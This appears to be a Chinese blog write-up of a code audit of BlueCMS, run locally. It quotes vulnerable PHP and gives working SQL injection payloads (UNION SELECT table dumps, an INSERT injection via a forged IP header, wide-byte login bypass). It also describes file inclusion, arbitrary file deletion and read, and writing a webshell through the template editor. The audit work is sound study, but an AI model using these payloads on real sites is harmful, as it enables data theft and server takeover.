bluecms

前言

网上找了一些CMS,听说bluecms对新手挺友好的,复现一下。

初探

emmm,这个cms和上一个cms相比有点不太一样,个人感觉上一个CMS的逻辑更好找,直接给 m,c,f 传参,然后去调用相应的类,函数。这个稍微显得有点杂乱。

目录结构大致长这样:

1.png

入口还是index.php 文件

漏洞复现

sql注入

前台

这次借助了seay 这个漏扫工具,我们扫一下:

2.png

可以看到其实可能漏洞存在,关于seay 这个工具,在一些线下比赛也用过,虽然很多时候都是比较鸡肋的。但是有些时候它能给你一些惊喜。一般我们会通过黑盒找功能点,然后看输入是否可控,然后抓包去看一些参数,然后白盒结合着看源代码。但是有些时候你去黑合测试找功能点,是找不到的,不会很明显的给我们展示出来,就像之前hxb的一次线下,那个任意文件读取,基本上你去黑盒测,很难找到。这里的ad_js.php 也是一样,去黑盒基本上找不到,此时seay的作用就体现出来了。我们看一下ad_js.php 这个文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
define('IN_BLUE', true);
require_once dirname(__FILE__) . '/include/common.inc.php';
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
if($ad['time_set'] == 0)
{
$ad_content = $ad['content'];
}
else
{
if($ad['end_time'] < time())
{
$ad_content = $ad['exp_content'];
}
else
{
$ad_content = $ad['content'];
}
}
$ad_content = str_replace('"', '\"',$ad_content);
$ad_content = str_replace("\r", "\\r",$ad_content);
$ad_content = str_replace("\n", "\\n",$ad_content);
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";
?>

重点在$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id); 这条查询语句上,我们跟进一下 getone() 函数:

1
2
3
4
5
6
function getone($sql, $type=MYSQL_ASSOC)
{
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}

执行了查询操作,然后返回查询结果,这里可以发现没有过滤,所以这里我们可以SQL注入,一开始我大意了,以为是字符型,还想办法闭合啊注释啥的,其实这里是数字型的,我们不需要闭合注释啥的。所以这里存在SQL注入,然后又看到下面的语句echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n"; 会把$ad_content内容带出来,有回显我们可以用联合注入。然后这里用时间盲注也可以。用联合注入更快,按照联合注入的流程,我们查列数从1开始,?ad_id=1 order by 8发现 order by 8的时候报错,说明只有7,然后我们去找回显位 ?ad_id=-1 union select 1,2,3,4,5,6,7 发现在7的地方有回显:

3.png

然后依次就是爆库,爆表,爆字段名了:?ad_id=-1 union select 1,2,3,4,5,6,group_concat(table_name)from information_schema.tables where table_schema=database()

4.png

可以看到这里可以注入的。

同样也是seay爆的可能漏洞,这里getip() 值是可控的,通过伪造Client-ipX-Forwarded-For 我们全局搜素一下getip 看哪里用到了这个:

5.png

我们跟进一下comment.php 代码,关键部分:

1
2
3
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
$db->query($sql);

这里的 getip() 值可控,很明显又存在着注入。

我们尝试一下,个人资料 -> 发布新闻 -> 评论

其中评论那里的内容是我们可控的:

6.png

insert 语句是可以一次性插入多条语句的。这里我们构造:1','2'),('','1','0','1','6',(select database()),'1','99

我们抓个包测试一下:

8.png

然后发现注入成功:

9.png

这里对回显字符长度有限制,不过没关系我们可以用 limit 来截取

后台

127.0.0.1/admin/login.php 处存在管理员登陆宽字节注入,我们可以用万能密码登入进去,我们结合代码看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
elseif($act == 'do_login'){
$admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : '';
$admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : '';
$remember = isset($_POST) ? intval($_POST['rememberme']) : 0;
if($admin_name == ''){
showmsg('�û�������Ϊ��');
}
if($admin_pwd == ''){
showmsg('�û����벻��Ϊ��');
}
if(check_admin($admin_name, $admin_pwd)){
update_admin_info($admin_name);
if($remember == 1){
setcookie('Blue[admin_id]', $_SESSION['admin_id'], time()+86400);
setcookie('Blue[admin_name]', $admin_name, time()+86400);
setcookie('Blue[admin_pwd]', md5(md5($admin_pwd).$_CFG['cookie_hash']), time()+86400);
}
}else{
showmsg('��������û�������������');
}
showmsg('��ӭ�� '.$admin_name.' ���������ڽ�ת���������...', 'index.php');
}

因为这里用的是gbk2312编码,所以到这里成了乱码。也正因为这样,我们可以尝试一下宽字节注入,在前面有一个安全函数:

1
2
3
4
5
6
7
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}

这里对传入的参数做了过滤,我们跟进一下deep_addslashes() 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function deep_addslashes($str)
{
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}

也就是所有传过来的参数经过了 addslashes() 函数 。所以是很可能存在宽字节注入的

我们再回头来看那个login.php的代码,关键在于:check_admin($admin_name, $admin_pwd) ,这个函数,我们跟进一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
if($row['num'] > 0)
{
return true;
}
else
{
return false;
}
}

这里的name出了之前的addslashes() 没有其他过滤,很显然可以存在宽字节。

1.png

发现成功宽字节注入

文件包含

这个文件包含发生在: user.php 里面,我们直接定位到关键代码:

1
2
3
4
5
6
7
8
9
10
11
elseif ($act == 'pay')
{
include 'data/pay.cache.php';
$price = $_POST['price'];
$id = $_POST['id'];
$name = $_POST['name'];
if (empty($_POST['pay'])) {
showmsg('�Բ�����û��ѡ��֧����ʽ');
}
include 'include/payment/'.$_POST['pay']."/index.php";
}

pay参数过滤不完整,我们可以用 ../ 跳转到上一层,然后后面的我们可以用%00来截断,不过这个对版本有要求

得保证php版本低于5.3.4 且 php .ini 里面的 magic_quotes_gpc=off

这个地方也可以配合上传点来制造图片🐎

一开始用%00截断死活复现不成功,后面feng师傅提醒我这里的 deep_addslashes 会对 %00 转义,所以%00这里行不通,但是用.来实现长度限制绕过应该是可以的。这里也要求低版本的PHP,php <5.2.8版本网上也有师傅复现成功了。

任意文件删除

先说第一处任意文件删除漏洞,我本地再D盘新建了一个 flag.txt文件,然后seay漏扫了一下发现:

/admin/link.php 里面存在任意文件删除漏洞,我们跟进代码看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
elseif($act == 'do_edit'){
$link_name = !empty($_POST['link_name']) ? trim($_POST['link_name']) : '';
$link_site = !empty($_POST['link_site']) ? trim($_POST['link_site']) : '';
$show_order = !empty($_POST['show_order']) ? intval($_POST['show_order']) : 0;

if (!empty($_POST['link_logo'])){
if (strpos($_POST['link_logo'], 'http://') != false && strpos($_POST['link_logo'], 'https://') != false){
showmsg('ֻ֧�ֱ�վ���·����ַ');
}
else{
$link_logo = trim($_POST['link_logo']);
}
}else
{
if(file_exists(BLUE_ROOT.$_POST['link_logo2'])){
@unlink(BLUE_ROOT.$_POST['link_logo2']);
}
}

发生漏洞的代码主要在 @unlink(BLUE_ROOT.$_POST['link_logo2']); 这里调用了 unlike函数,但是 link_logo2参数是我们可控的,并且除了那个转义函数外,没有任何安全过滤,所以导致了漏洞的发生。我们本地验证一下:

hel.png

然后发现D盘的 hello.txt 文件被删除了。

任意文件读取

还是seay扫到了 /admin/tpl_manage.php 可能存在任意文件读取,我们跟进看一下:

1
2
3
4
5
6
7
8
9
10
11
12
elseif($act == 'edit'){
$file = $_GET['tpl_name'];
if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){
showmsg('��Ŀ��ģ���ļ�ʧ��');
}
$tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file));
$tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312);
fclose($handle);
$tpl['name'] = $file;
template_assign(array('current_act', 'tpl'), array('�༭ģ��', $tpl));
$smarty->display('tpl_info.htm');
}

这里的 $file 变量可控,然后又只有一个 deep_addslashes 函数 ,我们也可以通过 ../ 跳转目录来读取文件。

本地测试一下:

tpl.png

发现可行,此处存在任意文件读取漏洞。

写shell

还是tpl_manage.php 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
elseif($act == 'do_edit'){
$tpl_name = !empty($_POST['tpl_name']) ? trim($_POST['tpl_name']) : '';
$tpl_content = !empty($_POST['tpl_content']) ? deep_stripslashes($_POST['tpl_content']) : '';
if(empty($tpl_name)){
return false;
}
$tpl = BLUE_ROOT.'templates/default/'.$tpl_name;
if(!$handle = @fopen($tpl, 'wb')){
showmsg("��Ŀ��ģ���ļ� $tpl ʧ��");
}
if(fwrite($handle, $tpl_content) === false){
showmsg('д��Ŀ�� $tpl ʧ��');
}
fclose($handle);
showmsg('�༭ģ��ɹ�', 'tpl_manage.php');
}

这里$tpl_name$tpl_content 都是可控的,我们直接写🐎

233.png

然后尝试访问一下

234.png

成功拿到shell

小结

漏洞不止这些,基本上出问题的原因一样,参数过滤不完善,参数可控。

找用户输入的地方,找功能点,黑盒白盒结合着审计。

一些自动化审计软件比如seay有时候能给一个大致的审计方向。